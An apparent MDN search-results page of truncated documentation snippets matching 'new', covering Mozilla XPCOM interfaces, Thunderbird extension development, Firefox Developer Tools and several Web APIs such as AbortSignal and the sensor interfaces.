...etmostrecentwindow('navigator:firefox'), 'focus firefox', 'will now focus fireox and then focus the tab'); } else if (atopic == 'alertshow') { console.log('just showed notification'); } else if (atopic == 'alertfinished') { console.log('just alertfinished') } } }; as.showalertnotification('chrome://branding/content/icon64.png', 'stackoverflow - new messages', 'there are ## new messages.
nsIAnnotationObserver
it could be a new annotation, or it could be a new value for an existing annotation.
...it could be a new annotation, or it could be a new value for an existing annotation.
nsIApplicationCacheService
createapplicationcache() creates a new, empty application cache for the specified cache group.
... return value the newly-created nsiapplicationcache.
nsICacheService
return value returns a new cache session.
... return value returns a newly created unique, temporary cache client id.
nsIChannel
inherits from: nsirequest last changed in gecko 19.0 (firefox 19.0 / thunderbird 19.0 / seamonkey 2.16) once a channel is created (via nsiioservice.newchannel()), parameters for that request may be set by using the channel attributes, or by calling queryinterface() to retrieve a subclass of nsichannel for protocol-specific parameters.
... see nsicontentsniffer [en-us] note: channels may ignore this flag; however, new channel implementations should only do so with good reason.
nsIDOMWindowInternal
if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">open(in domstring url, in domstring name, in domstring options) nsidomwindow nsisupports aextraargument) void close() void updatecommands(in domstring action) boolean find([optional] in domstring str,[optional] in boolean casesensitive, [optional] in boolean backwards, [optional]...
... pkcs11 nsidompkcs11 obsolete: this property is not supported in newer versions of firefox.
nsIDirIndexListener
actxt opaque parameter aindex new index to add.
...actxt opaque parameter ainfo new info to add.
nsIDownloadManager
note: prior to gecko 12.0, this was a synchronous operation; that is, once this method returned, you knew that the download was in the download manager's list.
...to be removed at the end of the private browsing session, cached in non-permanent storage, etc.) return value the newly created download item with the passed-in properties.
nsIEditor
bute(in astring aattribute, in nsidomnode asourcenode); void cloneattributes(in nsidomnode destnode, in nsidomnode sourcenode); nsidomnode createnode(in astring tag, in nsidomnode parent, in long position); void insertnode(in nsidomnode node, in nsidomnode parent, in long aposition); void splitnode(in nsidomnode existingrightnode, in long offset, out nsidomnode newleftnode); void joinnodes(in nsidomnode leftnode, in nsidomnode rightnode, in nsidomnode parent); void deletenode(in nsidomnode child); void marknodedirty(in nsidomnode node); direction controller void switchtextdirection(); output methods astring outputtostring(in astring formattype, in unsigned long flags); example: // fla...
...editorapi.outputtostring('text/html', 8); // xml: all in xml with _moz_dirty="" in new tags, html tags are in upper case // application/xhtml+xml format do the same editorapi.outputtostring('text/xml', 2); // the body is not recognized, everything is printed void outputtostream(in nsioutputstream astream, in astring formattype, in acstring charsetoverride, in unsigned long flags); listener methods void addeditorobserver(in nsieditorobserver observer)...
nsIEditorMailSupport
eddedobjects(); nsidomnode insertascitedquotation(in astring aquotedtext, in astring acitation, in boolean ainserthtml); nsidomnode insertasquotation(in astring aquotedtext); void inserttextwithquotations(in domstring astringtoinsert); void pasteascitedquotation(in astring acitation, in long aselectiontype); void pasteasquotation(in long aselectiontype); void rewrap(in boolean arespectnewlines); void stripcites(); methods getembeddedobjects() get a list of img and object tags in the current document.
...void rewrap( in boolean arespectnewlines ); parameters arespectnewlines try to maintain newlines in the original?
nsIFactory
unlike getservice, this returns a new instance each time it is called.
... result pointer to the newly created instance, if successful.
nsIFeedTextConstruct
methods createdocumentfragment() creates a new document fragment on a given dom element, containing the text and (if the text construct contains html or xhtml) its markup.
... nsidomdocumentfragment createdocumentfragment( in nsidomelement element ); parameters element the element in which to create the new document fragment.
nsIGeolocationProvider
xpcom/system/nsigeolocationprovider.idlscriptable notify the geolocation service that a new geolocation has been discovered.
...your location provider should call this routine whenever new position data is available.
nsIGlobalHistory3
method overview void adddocumentredirect(in nsichannel aoldchannel, in nsichannel anewchannel, in print32 aflags, in boolean atoplevel); unsigned long geturigeckoflags(in nsiuri auri); void seturigeckoflags(in nsiuri auri, in unsigned long aflags); methods adddocumentredirect() notifies the history system that the page loading via aoldchannel redirected to anewchannel.
...void adddocumentredirect( in nsichannel aoldchannel, in nsichannel anewchannel, in print32 aflags, in boolean atoplevel ); parameters aoldchannel anewchannel aflags flags to add.
nsIJetpackService
js/jetpack/nsijetpackservice.idlscriptable this interface enables the creation of new jetpack processes.
...method overview nsijetpack createjetpack(); methods createjetpack() this method creates a new jetpack process and returns an nsijetpack interface that represents it.
nsILivemarkService
ontainer); boolean islivemark(in long long folder); void reloadalllivemarks(); void reloadlivemarkfolder(in long long folderid); void setfeeduri(in long long container, in nsiuri feeduri); void setsiteuri(in long long container, in nsiuri siteuri); void start(); void stopupdatelivemarks(); methods createlivemark() creates a new livemark.
... createlivemarkfolderonly() this method also creates a new livemark but use this method during startup to avoid http traffic.
nsIMemoryReporter
malloc, new etc.
...for example, the number of times the user has opened a new tab.
nsIMsgAccount
nsimsgaccount mailnews/base/public/nsimsgaccount.idlscriptable an account consists of an incoming server and one or more outgoing identities.
...outgoing identity list (array of nsimsgidentity's) incomingserver nsimsgincomingserver incoming server stuff key acstring internal key identifying itself methods addidentity() adds a new identity to this account.
nsIMsgCompFields
characterset char * defaultcharacterset char * readonly drafid char * dsn prbool fcc astring fcc2 astring followupto char * forcemsgencoding prbool forceplaintext prbool from astring hasrecipients prbool readonly new in thunderbird 23 indicates whether something is filled in in the to, cc, or bcc attribute.
...(bug 249530) newsgroups astring newshost char * newsposturl char * organization astring otherrandomheaders astring no longer exists - see https://groups.google.com/forum/#!topic/mozilla.dev.apps.thunderbird/s4ofmm8_b28 priority char * receiptheadertype print32 references char * replyto astring securityinfo nsisupports subjec...
nsIMsgCustomColumnHandler
mailnews/base/public/nsimsgcustomcolumnhandler.idlscriptable please add a summary to this article.
... function() {return true;}, getcellproperties: function(arow, acol, aprops) { }, getrowproperties: function(arow, aprops) { }, getimagesrc: function(arow, acol) {return null;}, getsortlongforrow: function(ahdr) {return 0;} } to attach it use the nsimsgdbview.addcolumnhandler() method (recall gdbview is the global nsimsgdbview in thunderbird): gdbview.addcolumnhandler("newcolumn", columnhandler); after which it can be retrieved using the nsimsgdbview.getcolumnhandler() method: var handler = gdbview.getcolumnhandler("newcolumn"); and removed using the nsimsgdbview.removecolumnhandler() method: gdbview.removecolumnhandler("newcolumn"); method overview astring getsortstringforrow(in nsimsgdbhdr ahdr); unsigned long getsortlongforrow(in nsimsgdbhdr ahdr); b...
nsIMsgFilterList
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfilterlist.idl attributes folder attribute nsimsgfolder nsimsgfilterlist::folder version readonly attribute short nsimsgfilterlist::version arbitraryheaders readonly attribute acstring nsimsgfilterlist::arbitraryheaders shoulddownloadallheaders readonly attribute boolean nsimsgfilterlist::shoulddownloadallheaders filtercount readonly attribute unsigned long nsimsgfilterlist::filtercount loggingenabled attribute boolean nsimsgfilterlist::loggingenabled defaultfile attribute nsilocalfile nsimsgfilterlist::defaultfile logstream attribute nsioutputstream nsimsgfilterlist::logstream logurl readonly attribute acstring nsimsgfilterlist::logurl methods getfilterat() nsimsgfilter nsimsgfilterlist::getfilterat (in unsigne...
...ng value, in nsioutputstream stream ) writewstrattr() void nsimsgfilterlist::writewstrattr ( in nsmsgfilterfileattribvalue attrib, in string value, in nsioutputstream stream ) matchorchangefiltertarget() boolean nsimsgfilterlist::matchorchangefiltertarget ( in acstring olduri, in acstring newuri, in boolean caseinsensitive ) clearlog() void nsimsgfilterlist::clearlog () ensurelogfile() void nsimsgfilterlist::ensurelogfile () flushlogifnecessary () void nsimsgfilterlist::flushlogifnecessary () const const nsmsgfilterfileattribvalue nsimsgfilterlist::attribnone = 0 const nsmsgfilterfileattribvalue nsimsgfilterlist::attribversion = 1 const nsmsgfilterfileattr...
nsIMsgProtocolInfo
folderscreateasync boolean new in thunderbird 24 (bug 832034) preflightprettynamewithemailaddress boolean unused.
... remarks this is one of the interfaces that is required to create a new account type.
nsIMsgSearchNotify
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchnotify.idl [scriptable, uuid(ca37784d-352b-4c39-8ccb-0abc1a93f681)] interface nsimsgsearchnotify : nsisupports { void onsearchhit(in nsimsgdbhdr header, in nsimsgfolder folder); // notification that a search has finished.
... void onsearchdone(in nsresult status); /* * until we can encode searches with a uri, this will be an * out-of-bound way to connect a set of search terms to a datasource */ /* * called when a new search begins */ void onnewsearch(); }; ...
nsIMsgWindowCommands
mailnews/base/public/nsimsgwindow.idlscriptable this interface defines methods used by the back end to update the user interface in a mail or news message list.
...this could be as a result of clicking on a new mail alert, or by clicking a link to a newsgroup.
nsINavHistoryQuery
clone() this method creates a new query item with the same parameters of this one.
...return value returns the newly created cloned query.
nsINavHistoryQueryOptions
methods clone() this method creates a new options item with the same parameters of this one.
...return value returns the newly created cloned options.
nsIProtocolProxyFilter
this is passed so that implementations may easily access methods such as newproxyinfo.
...use aproxyservice.newproxyinfo to construct nsiproxyinfo objects.
nsIScriptableInputStream
var {classes: cc, interfaces: ci, results: cr, constructor: cc, utils: cu } = components; var scriptableinputstream = cc("@mozilla.org/scriptableinputstream;1", "nsiscriptableinputstream", "init"); let entry = this.getentry(name); let stream = new scriptableinputstream(this.getinputstream(name)); try { // use readbytes to get binary data, read to read a (null-terminated) string let contents = stream.readbytes(entry.realsize); } finally { stream.close(); } example usage in ondataavailable remember: the nsiscriptableinputstream has a contract where `init` should only be called once, and should always be clos...
...var scriptableinputstream = cc("@mozilla.org/scriptableinputstream;1", "nsiscriptableinputstream", "init"); var blah = { data: '', onstartrequest: function (arequest, acontext) { this.data = ''; }, ondataavailable: function(request, context, inputstream, offset, count) { var scriptstream = new scriptableinputstream(inputstream); this.data += scriptstream.read(count); scriptstream.close(); } }; see also nsscriptableinputstream nsiinputstream ...
nsISessionStore
return value an nsidomnode representing the new tab, the content of which is a duplicate of atab.
...new windows will be opened as needed.
nsISocketTransportService
attachsocket adds a new socket to the list of controlled sockets.
... void notifywhencanattachsocket( in nsirunnable aevent ); parameters aevent event that will receive the notification when a new socket can be attached.
nsISpeculativeConnect
method overview void speculativeconnect(in nsiuri auri, in nsiinterfacerequestor acallbacks, in nsieventtarget atarget); methods speculativeconnect() call this method to hint to the networking layer that a new transaction for the specified uri is likely to happen soon.
...no obligation is taken on by the implementer, nor is the submitter obligated to actually open the new channel.
nsITelemetry
static - true for histograms defined in histograms.json, false for ones defined with newhistogram().
... example you can find detailed information on adding a new telemetry probe and recording telemetry data at adding a new telemetry probe [en-us].
nsIThreadInternal
in addition, any new events dispatched to the thread are only processed if they are accepted by the specified filter.
... if the filter is null, all new events are accepted.
nsITransaction
the transaction manager calls this method to coalesce a new transaction with the transaction on the top of the undo stack.
...if true, the transaction manager will release() the new transaction instead of pushing it on the undo stack.
nsITreeBoxObject
it is dynamically settable, either using a view attribute on the tree tag or by setting this attribute to a new value.
... void rowcountchanged(in long index, in long count); parameters index the position at which the new rows were added or at which rows were removed.
nsIUUIDGenerator
methods generateuuid() obtains a new uuid using appropriate platform-specific methods to obtain a nsid that can be considered to be globally unique.
...exceptions thrown ns_error_failure if a uuid cannot be generated (for example if an underlying source of randomness is not available) native code only!generateuuidinplace obtain a new uuid like the generateuuid() method, but place it in the provided nsid pointer instead of allocating a new nsid.
nsIUpdate
iscompleteupdate boolean true if the update is a complete replacement of the existing installation; false if the update is a patch representing the difference between the new version and the existing version.
... type astring the type of patch represented by the object: "major" a major new version of the application.
nsIWebContentHandlerRegistrar
cu.import('resource://gre/modules/services.jsm'); var nsiwchr = cc["@mozilla.org/embeddor.implemented/web-content-handler-registrar;1"] .getservice(ci.nsiwebcontenthandlerregistrar); var htmlcontentwindow = undefined; var registeruri = 'http://mail.live.com/secure/start?action=compose&to=%s'; var myurihostname = services.io.newuri(registeruri, null, null).host; // this section here is long and daunting, but its just finding a suitable contentwindow var domwindows = services.wm.getenumerator(null); while (domwindows.hasmoreelements()) { var adomwindow = domwindows.getnext(); if (adomwindow.gbrowser) { if (adomwindow.gbrowser.tabcontainer) { //adomwindow has tabs var tabs = adomwin...
...ndow = adomwindow.contentwindow; break; } } } else { //adomwindow is a popup window if (adomwindow.location.hostname == myurihostname) { htmlcontentwindow = adomwindow; break; } } } // this section here is long and daunting, but its just finding a suitable contentwindow if (!htmlcontentwindow) { throw new error('no suitable content window found, will not reigsterprotocolhandler.
nsIWebProgressListener2
arequest the nsirequest that has new progress.
...arefreshuri the new uri that awebprogress has requested redirecting to.
nsIWinTaskbar
return value an nsitaskbartabpreview object for the new tab preview.
...aidentifier the new identifier for the window.
nsIZipReaderCache
if the zip reader for the given file is not in the cache, a new nsizipreader is opened (see nsizipreader.open()).
...init() initializes a new zip reader cache.
nsMsgSearchAttrib
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl typedef long nsmsgsearchattribvalue; /** * definitions of search attribute types.
... */ [scriptable, uuid(a83ca7e8-4591-4111-8fb8-fd76ac73c866)] interface nsmsgsearchattrib { const nsmsgsearchattribvalue custom = -2; /* a custom term, see nsimsgsearchcustomterm */ const nsmsgsearchattribvalue default = -1; const nsmsgsearchattribvalue subject = 0; /* mail and news */ const nsmsgsearchattribvalue sender = 1; const nsmsgsearchattribvalue body = 2; const nsmsgsearchattribvalue date = 3; const nsmsgsearchattribvalue priority = 4; /* mail only */ const nsmsgsearchattribvalue msgstatus = 5; const nsmsgsearchattribvalue to = 6; const nsmsgsearchattribvalue cc = 7; const nsmsgsearchattribvalue toorcc = 8; const nsmsgsearc...
nsMsgSearchScope
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl [scriptable, uuid(6e893e59-af98-4f62-a326-0f00f32147cd)] interface nsmsgsearchscope { const nsmsgsearchscopevalue offlinemail = 0; const nsmsgsearchscopevalue offlinemailfilter = 1; const nsmsgsearchscopevalue onlinemail = 2; const nsmsgsearchscopevalue onlinemailfilter = 3; /// offline news, base table, no body or junk const nsmsgsearchscopevalue localnews = 4; const nsmsgsearchscopevalue news = 5; const nsmsgsearchscopevalue newsex = 6; const nsmsgsearchscopevalue ldap = 7; const nsmsgsearchscopevalue localab = 8; const nsmsgsearchscopevalue allsearchablegroups = 9; const nsmsgsearchscopevalue newsfilter = 10; const nsmsgsearchscopevalue localaband = 11; const nsmsgsearchscopev...
...alue ldapand = 12; // imap and news, searched using local headers const nsmsgsearchscopevalue onlinemanual = 13; /// local news + junk const nsmsgsearchscopevalue localnewsjunk = 14; /// local news + body const nsmsgsearchscopevalue localnewsbody = 15; /// local news + junk + body const nsmsgsearchscopevalue localnewsjunkbody = 16; }; ...
NS ENSURE TRUE
syntax ns_ensure_true( expr, return-value ); usage nsresult mozmyclass::mozstringmucking() { char *foo = new char[123]; ns_ensure_true(foo, ns_error_out_of_memory); // this is equivalent to doing: if (!foo) return ns_error_out_of_memory; // thou shalt not return ns_error_failure..
... int i = 3; ns_ensure_true(i == 3, ns_error_failure); return ns_ok; } char* mozmyclass::dostuff() { char* bar = new char[321]; ns_ensure_true(bar, nsnull); return bar; } ...
nsMsgNavigationType
for example to move forward a message, you would call: // assuming gdbview is a global nsimsgdbview var resultid = new object(); var resultindex = new object(); var threadindex = new object(); gdbview.viewnavigate(components.interfaces.nsmsgnavigationtype.nextmessage, resultid, resultindex, threadindex, true); the nsmsgnavigationtype interface is defined as a global variable in thunderbird: var nsmsgviewcommandtype = components.interfaces.nsmsgviewcommandtype; mailnews/base/public/nsimsgdbview.idlscriptable please add a summary to this article.
... nextunreadthread 10 nextunreadfolder 11 nextfolder 12 readmore 13 back 15 go back to the previous visited message forward 16 go forward to the previous visited message firstflagged 17 nextflagged 18 previousflagged 19 firstnew 20 editundo 21 editredo 22 togglesubthreadkilled 23 ...
Troubleshooting XPCOM components registration
in the bottom right corner of the new dialog, click browse...
...it may then be necessary for the stub to locate the newer runtime libraries for the other files it loads.
Using nsIDirectoryService
you can directly add a new nsifile with any property string using the nsiproperties interface: components.classes["@mozilla.org/file/directory_service;1"] .getservice(components.interfaces.nsiproperties) .set("myfilename", file); now, if your cost is too high to set all of these properties at once, you can register to be a callback that can provide an nsifile.
...the new method the new method uses nsidirectoryservice to locate files and directories.
Working with out parameters
after the call, this object will have a new property called value, which contains the out values.
...implementation when implementing a method which has out parameters in javascript, you have to set a new property called value to the out parameter which will hold the required value.
XPCOM category image-sniffing-services
in versions of firefox prior to firefox 3, extensions could add decoders for new image types.
...in firefox 3, a new xpcom category was added in bug 391667 to allow "third-party" xpcom components to identify images based on their content.
XPIDL Syntax
MozillaTechXPIDLSyntax
libidl only considers a single line feed as a newline, and not carriage returns (although xpidl begs to differ).
...yes, newline terminates.
Mail and RDF
this allows exposure of mailnews-specific data to user interface using rdf templates.
...(the details of rdf resource factories will be left to rdf documentation for now.) from an rdf resource, it is possible to queryinterface() to the appropriate mail/news object, and then access information from there.
Mail client architecture overview
and html rendering) rdf (dynamic widgets) js (menus, events) libmime mail datasources mail javascript folder/message management msgdb imap/nntp/pop3 necko (networking) sections in grey refer to modules outside of mail/news the base module the base module provides a generic interface to a set of protocol-independant messaging services.
... url display and dispatching - in order to perform network operations such as downloading new mail, copying and moving messages, and displaying messages from a remote server, the url system interacts with necko and reflects it's state to the mail window.
Mail composition back end
ener nsimsgcopyservicelistener copy operations copy to sent folder drafts templates "send later" sending unsent messages sending unsent messages listener quoting sample programs overview i've done considerable work in the past few weeks reorganizing the mail composition back end, so i thought it would be helpful to put together a small doc on the new interfaces and how one can use them.
... ns_imethod quotemessage( const prunichar *msguri, - the uri of the message to be quoted nsioutputstream *outstream) = 0; - the consumer output stream for the quoted data sample programs the mozilla/mailnews/compose/tests/ directory contains sample test programs for all of the above described interfaces.
Adding items to the Folder Pane
first, our "numbers" container looks like this: let containerrow = { _numbers: 3, id: "numbers-main-container", text: "numbers", level: 0, open: false, _children: null, get children() { if (!this._children) { this._children = []; for (var i = 1; i <= this._numbers; i++) this._children.push(new numberrow(i)); } return this._children; }, getproperties: function gne_getprops() { // put your css attributes here }, command: function gne_command() { // just going to alert, to do something here components.classes["@mozilla.org/embedcomp/prompt-service;1"] .getservice(components.interfaces.nsipromptservice) ...
...) {}, // no-op command: function gne_kid_command() { // just going to alert, to do something here components.classes["@mozilla.org/embedcomp/prompt-service;1"] .getservice(components.interfaces.nsipromptservice) .alert(window, null, this.text); } }; putting it all together all that is left at this point is to actually add these newly defined folder-tree-items to the folder pane's _rowmap at the appropriate time.
Building a Thunderbird extension 3: install manifest
see developer.thunderbird.net for newer information.
...it must be updated each time you release a new version of your extension.
Building a Thunderbird extension 6: Adding JavaScript
see developer.thunderbird.net for newer information.
... window.addeventlistener("load", function(e) { startup(); }, false); window.setinterval( function() { startup(); }, 60000); //update date every minute function startup() { var mypanel = document.getelementbyid("my-panel"); var date = new date(); var day = date.getday(); var datestring = date.getfullyear() + "." + (date.getmonth()+1) + "." + date.getdate(); mypanel.label = "date: " + datestring; } the first part registers a new event listener that will be executed automatically when thunderbird loads.
Finding the code for a feature
i see it occurs in mail3panewindowcommands.js a couple of times.
...(please don't do that guys, it really makes code search difficult!) so the answer the your question is, use the nsimsgfolder method "addkeywordstomessages" (and now i remember that i knew that!).
Styling the Folder Pane
biffstate-biffstate afolder.biffstate == nsimsgfolder.nsmsgbiffstate_<name> indicates whether or not the folder has new messages.
... newmessages-true afolder.hasnewmessages subfoldershaveunreadmessages-true afolder.getnumunread(true) > afolder.getnumunread(false) indicates whether or not subfolders have unread messages.
Thunderbird extensions
see developer.thunderbird.net for newer information.
... an overview of thunderbird components developer reference docs: folder classes db views (message list) message summary database mailnews protocols mailnews filters error reporting tools steel library (obsolete as of thunderbird 52, use https://github.com/protz/thunderbird-stdlib) developing new account types useful newsgroup discussions (anything that's very old should be regarded suspiciously, because there has been significant api rewrite over the past years making most techniqu...
Virtualenv
using virtualenv once you have virtualenv installed, you can make virtual environments: > virtualenv tmp new python executable in tmp/bin/python installing setuptools............done.
...bin/activate once the virtualenv is activated, the virtualenv's python (and other executables) will be on your path and you will have a new environment variable, virtual_env, that points to the path of the virtualenv, as well as a deactivate function for deactivating the virtualenv.
Using C struct and pointers
declaring a js-ctypes struct matching a c struct if we have a c structure like this: struct st_t { void *self; char *str; size_t buff_size; int i; float f; char c; }; we can use it in javascript by writing something like this: var st_t = new ctypes.structtype("st_t", [ { "self": ctypes.pointertype(ctypes.void_t) }, { "str": ctypes.pointertype(ctypes.char) }, { "buff_size": ctypes.size_t }, { "i": ctypes.int }, { "f": ctypes.float }, { "c": ctypes.char } ]); here we are using the structtype() factory method of the ctypes object to create a ctype ob...
... the call to structtype() returns a ctype object, and we then apply the new operator to it to create a specific instance of this newly defined type - a javascript representation of the c struct.
FunctionType
syntax returns a new ctype object describing a c function.
... return value a cdata representing the newly allocated function pointer.
js-ctypes
documentation if you are brand new to js-ctypes, and have no idea about it, the pages you should read first is - ctypes.open followed by standard os libraries.
... mailing list newsgroup rss feed stackoverflow - jsctypes related topics xpcom in gecko 2 - binary components ...
Browser Side Plug-in API - Plugins
npn_geturlnotify requests creation of a new stream with the contents of the specified url; gets notification of the result.
... npn_newstream requests the creation of a new data stream produced by the plug-in and consumed by the browser.
Plug-in Side Plug-in API - Plugins
npp_new creates a new instance of a plug-in.
... npp_newstream notifies a plug-in instance of a new data stream.
DOM Inspector FAQ - Firefox Developer Tools
those text nodes are actually the newlines and spacing between the elements.
... the good news is, you can hide these whitespace nodes in inspector by unchecking the view > show whitespace nodes menu item.
Introduction to DOM Inspector - Firefox Developer Tools
for thunderbird and seamonkey mail and news, any messages you're viewing will be listed here.
...by clicking around in the document pane, you'll see that the viewers are linked; whenever you select a new node from the dom nodes viewer, the dom node viewer is automatically updated to reflect the information for that node.
Browser Console - Firefox Developer Tools
try running this code in the browser console's command line (remember that to send multiple lines to the browser console, use shift+enter): var newtabbrowser = gbrowser.getbrowserfortab(gbrowser.selectedtab); newtabbrowser.addeventlistener("load", function() { newtabbrowser.contentdocument.body.innerhtml = "<h1>this page has been eaten</h1>"; }, true); newtabbrowser.contentdocument.location.href = "https://mozilla.org/"; it adds a listener to the currently selected tab's load event that will eat the new page, then loads a new page.
...on windows, the following code will add a new item to the browser's main menu: var parent = window.document.getelementbyid("appmenuprimarypane"); var makethetea = gbrowser.ownerdocument.defaultview.document.createelementns("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul", "menuitem"); makethetea.setattribute("label", "a nice cup of tea?"); parent.appendchild(makethetea); on macos, this similar code will add a new item to the "tools" menu: var parent ...
Break on DOM mutation - Firefox Developer Tools
in the following example, the selected node (the unordered list) is modified by adding a new child node.
... inline variable preview new in firefox 71, the source pane now gives you an instant preview of the variables on each line of code you've stepped through.
Examine, modify, and watch variables - Firefox Developer Tools
this feature isn't yet supported in the new debugger.
... if you need to use it, you can, for now, switch back to the old debugger by visiting about:config and setting the "devtools.debugger.new-debugger-frontend" preference to false.
Set a breakpoint - Firefox Developer Tools
inline variable preview new in firefox 71, the source pane now gives you an inline preview of the variables on each line of code you've stepped through: this is a very useful timesaver when stepping through your code.
... note: there is also a new option in the context menu for the actual code in the source pane — hide inline preview/show inline preview — which allows you to turn the inline variables on/off.
Step through code - Firefox Developer Tools
if you want to turn this feature off, since firefox 71 you can do so by going to about:config in a new tab, setting the devtools.debugger.features.overlay pref to false, and restarting the browser.
... inline variable preview new in firefox 71, the source pane now gives you an instant preview of the variables on each line of code you've stepped through.
Set event listener breakpoints - Firefox Developer Tools
now the logs will show where in your app jquery was called, rather than where in jquery the event was fired: filter by event type also added to firefox 71 is a new filter by event type...
... inline variable preview new in firefox 71, the source pane now gives you an instant preview of the variables on each line of code you've stepped through.
Debugger.Source - Firefox Developer Tools
currently only entire modules evaluated via new webassembly.module are represented.
... (note that code passed to eval, the function constructor, or a similar function isnot considered to be loaded from a url; the url accessor on debugger.source instances for such sources should return undefined.) if the instance refers to webassembly code, the url of the script that called new webassembly.module with the string "> wasm" appended.
Tutorial: Set a breakpoint - Firefox Developer Tools
var dbg = new debugger; // make the tab's top window a debuggee, and get a // debugger.object referring to the window.
...re-running the code in the scratchpad creates a fresh debugger instance, adds the same web page as its debuggee, and then sets a new breakpoint.
Deprecated tools - Firefox Developer Tools
over the course of devtools development, we have added several experimental panels to try out new ideas.
...the editor mode can be triggered clicking on the icon on the right of the console input, or with ctrl + b (cmd + b on macos) when in editor mode, the enter key adds a new line in the input, and you can evaluate the expression using ctrl + enter (cmd + enter on macos).
Edit CSS filters - Firefox Developer Tools
you can also add new effects by selecting an effect from the dropdown list at the bottom of the dialog.
... you can then apply saved filters to new elements.
Edit Shape Paths in CSS - Firefox Developer Tools
you can then copy these values back into your stylesheet to create the new, tweaked shape path.
... double-click anywhere on a line of the shape and you will get a new point to adjust.
Allocations - Firefox Developer Tools
the allocations view is new in firefox 46.
...then record a profile as usual, and you will see a new tab labeled "allocations" in the toolbar: anatomy of the allocations view the allocations view looks something like this: the allocations view periodically samples allocations that are made over the recording.
Cookies - Firefox Developer Tools
you can edit cookies by double-clicking inside cells in the table widget and editing the values they contain, and add new cookies by clicking the "plus" (+) button and then editing the resulting new row to the value you want.
... context menu the context menu for each cookie includes the following commands: add item - add a new cookie.
Storage Inspector - Firefox Developer Tools
the tree is live, so if a new origin gets added (by adding an iframe, for example), it will be added to each storage type automatically.
... add and refresh storage you'll also have buttons available to add a new storage entry or refresh the view of the currently viewed storage type where applicable (you can't add new entries to indexeddb or cache): sidebar when you select any row in the storage table widget, the sidebar is shown with details about that row.
Taking screenshots - Firefox Developer Tools
note: if you capture an image to a filename like test.png, and then you capture to that same filename, the new image will overwrite the old image.
... so if you’re using the up-arrow history scroll to capture images in quick succession, be careful — you need to remember to change the filename for each new capture.
Web Console UI Tour - Firefox Developer Tools
settings ("gear" menu): new in firefox 71, you can click the gear icon to access the new settings menu, where you can toggle the following features on and off: persist logs: when enabled, the console doesn't clear on page reload, or new page load.
... in firefox 71 onwards, there is a new "split pane" icon on the right hand side of the command line — clicking this will open the new console multi-line mode.
about:debugging (before Firefox 68) - Firefox Developer Tools
unregistering service workers new in firefox 48.
... sending push events to service workers sending push events in about:debugging is new in firefox 47.
ANGLE_instanced_arrays - Web APIs
constants this extension exposes one new constant, which can be used in the gl.getvertexattrib() method: ext.vertex_attrib_array_divisor_angle returns a glint describing the frequency divisor used for instanced rendering when used in the gl.getvertexattrib() as the pname parameter.
... methods this extension exposes three new methods.
AbortSignal: abort event - Web APIs
bubbles no cancelable no interface event event handler onabort examples in the following snippets, we create a new abortcontroller object, and get its abortsignal (available in the signal property).
... you can use the abort event in an addeventlistener method: var controller = new abortcontroller(); var signal = controller.signal; signal.addeventlistener('abort', function() { console.log('request aborted'); }; or use the onabort event handler property: var controller = new abortcontroller(); var signal = controller.signal; signal.onabort = function() { console.log('request aborted'); }; specifications specification status domthe definition of 'abort' in that specification.
AbortSignal.aborted - Web APIs
syntax var isaborted = abortsignal.aborted; value a boolean examples in the following snippet, we create a new abortcontroller object, and get its abortsignal (available in the signal property).
... var controller = new abortcontroller(); var signal = controller.signal; // ...
AbortSignal.onabort - Web APIs
}; examples in the following snippet, we create a new abortcontroller object, and get its abortsignal (available in the signal property).
... var controller = new abortcontroller(); var signal = controller.signal; signal.onabort = function() { console.log('request aborted'); }; specifications specification status comment domthe definition of 'onabort' in that specification.
AbsoluteOrientationSensor - Web APIs
the absoluteorientationsensor constructor creates a new absoluteorientationsensor object which describes the device's physical orientation in relation to the earth's reference coordinate system.
... syntax var absoluteorientationsensor = new absoluteorientationsensor([options]) parameters options optional options are as follows: frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onreading will be called.
AbstractWorker - Web APIs
this code snippet demonstrates the creation of a new worker using the worker() constructor; it also shows how to then send a message to the worker.
... var myworker = new worker('worker.js'); first.onchange = function() { myworker.postmessage([first.value, second.value]); console.log('message posted to worker'); } the worker's code is loaded from the file "worker.js".
Accelerometer.Accelerometer() - Web APIs
the accelerometer constructor creates a new accelerometer object which returns the acceleration of the device along all three axes at the time it is read.
... syntax var accelerometer = new accelerometer([options]) parameters options optional options are as follows: frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onerror will be called.
Accelerometer - Web APIs
constructor accelerometer.accelerometer() creates a new accelerometer object.
... let acl = new accelerometer({frequency: 60}); acl.addeventlistener('reading', () => { console.log("acceleration along the x-axis " + acl.x); console.log("acceleration along the y-axis " + acl.y); console.log("acceleration along the z-axis " + acl.z); }); acl.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors i...
AmbientLightSensor.AmbientLightSensor() - Web APIs
the ambinentlightsensor() constructor creates a new ambientlightsensor object, which returns the current light level or illuminance of the ambient light around the hosting device.
... syntax var ambientlightsensor = new ambientlightsensor(options) parameters options optional currently only one option is supported: frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onreading will be called.
AmbientLightSensor - Web APIs
constructor ambientlightsensor.ambientlightsensor() creates a new ambientlightsensor object.
... example if ( 'ambientlightsensor' in window ) { const sensor = new ambientlightsensor(); sensor.onreading = () => { console.log('current light level:', sensor.illuminance); }; sensor.onerror = (event) => { console.log(event.error.name, event.error.message); }; sensor.start(); } specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
AnalyserNode.frequencyBinCount - Web APIs
var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); analyser.mindecibels = -90; analyser.maxdecibels = -10; ...
